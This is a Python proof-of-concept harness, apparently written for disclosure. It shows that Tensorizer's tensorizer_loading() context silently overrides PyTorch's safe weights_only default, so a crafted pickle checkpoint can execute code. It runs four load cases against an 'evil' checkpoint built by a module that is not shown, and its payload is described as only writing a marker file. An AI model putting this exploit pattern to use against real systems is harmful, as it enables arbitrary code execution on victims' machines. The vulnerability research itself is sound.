#!/usr/bin/env python3
"""Primary PoC for: Tensorizer's documented tensorizer_loading() compatibility
context silently overrides PyTorch's default weights_only=True protection in
torch.load(), enabling arbitrary code execution when loading an untrusted
PyTorch pickle checkpoint through it.

The checkpoint used here (evil_checkpoint.pt, regenerated fresh per test case
below) is an ordinary PyTorch pickle checkpoint, NOT Tensorizer's native
.tensors binary format. It represents the kind of file a developer would pass
to torch.load() -- the documented use case for tensorizer_loading().

The payload is intentionally harmless: it only creates a local marker file to
prove code execution. It does not delete files, exfiltrate data, or download
anything.

Requirements:
    pip install tensorizer torch

Usage:
    python test_matrix.py
"""
import os
import warnings

import torch
from tensorizer.torch_compat import tensorizer_loading

from generate_evil_checkpoint import build as build_evil_checkpoint

CHECKPOINT = "evil_checkpoint.pt"


def report(label: str, marker: str, exc: Exception | None) -> None:
    pwned = os.path.exists(marker)
    status = "CODE EXECUTED" if pwned else "blocked"
    exc_str = f"{type(exc).__name__}: {exc}" if exc else "(no exception)"
    print(f"[{label}] -> {status}")
    print(f"    exception: {exc_str}")
    print()


def run_case(label: str, marker: str, fn) -> None:
    if os.path.exists(marker):
        os.remove(marker)
    build_evil_checkpoint(CHECKPOINT, marker)
    exc = None
    try:
        fn()
    except Exception as e:  # noqa: BLE001 - intentionally broad for PoC reporting
        exc = e
    report(label, marker, exc)


def main() -> None:
    print(f"tensorizer version: {__import__('tensorizer').__version__}")
    print(f"torch version:      {torch.__version__}")
    print()

    # 1. Baseline: default torch.load(), no tensorizer involvement at all.
    run_case(
        "1. torch.load(evil_checkpoint.pt) OUTSIDE tensorizer_loading(), default weights_only",
        "tensorizer_rce_marker_test1.txt",
        lambda: torch.load(CHECKPOINT),
    )

    # 2. The vulnerable case: identical call, inside the documented context manager.
    def _case2():
        with tensorizer_loading():
            torch.load(CHECKPOINT)

    with warnings.catch_warnings(record=True) as captured:
        warnings.simplefilter("always")
        run_case(
            "2. torch.load(evil_checkpoint.pt) INSIDE tensorizer_loading(), default weights_only",
            "tensorizer_rce_marker_test2.txt",
            _case2,
        )
        print(f"    warnings captured during case 2: {len(captured)}")
        for w in captured:
            print(f"      - {w.category.__name__}: {w.message}")
        if not captured:
            print("      (none -- the safe-default override is completely silent)")
        print()

    # 3. Explicit weights_only=True inside the context -- should be blocked.
    def _case3():
        with tensorizer_loading():
            torch.load(CHECKPOINT, weights_only=True)

    run_case(
        "3. torch.load(evil_checkpoint.pt, weights_only=True) INSIDE tensorizer_loading()",
        "tensorizer_rce_marker_test3.txt",
        _case3,
    )

    # 4. Explicit weights_only=False outside the context -- sanity baseline,
    #    proving this is the SAME danger class as ordinary insecure torch.load(),
    #    just triggered implicitly by tensorizer instead of explicitly.
    run_case(
        "4. torch.load(evil_checkpoint.pt, weights_only=False) OUTSIDE tensorizer_loading()",
        "tensorizer_rce_marker_test4.txt",
        lambda: torch.load(CHECKPOINT, weights_only=False),
    )

    # Cleanup
    for f in (
        CHECKPOINT,
        "tensorizer_rce_marker_test1.txt",
        "tensorizer_rce_marker_test2.txt",
        "tensorizer_rce_marker_test3.txt",
        "tensorizer_rce_marker_test4.txt",
    ):
        if os.path.exists(f):
            os.remove(f)


if __name__ == "__main__":
    main()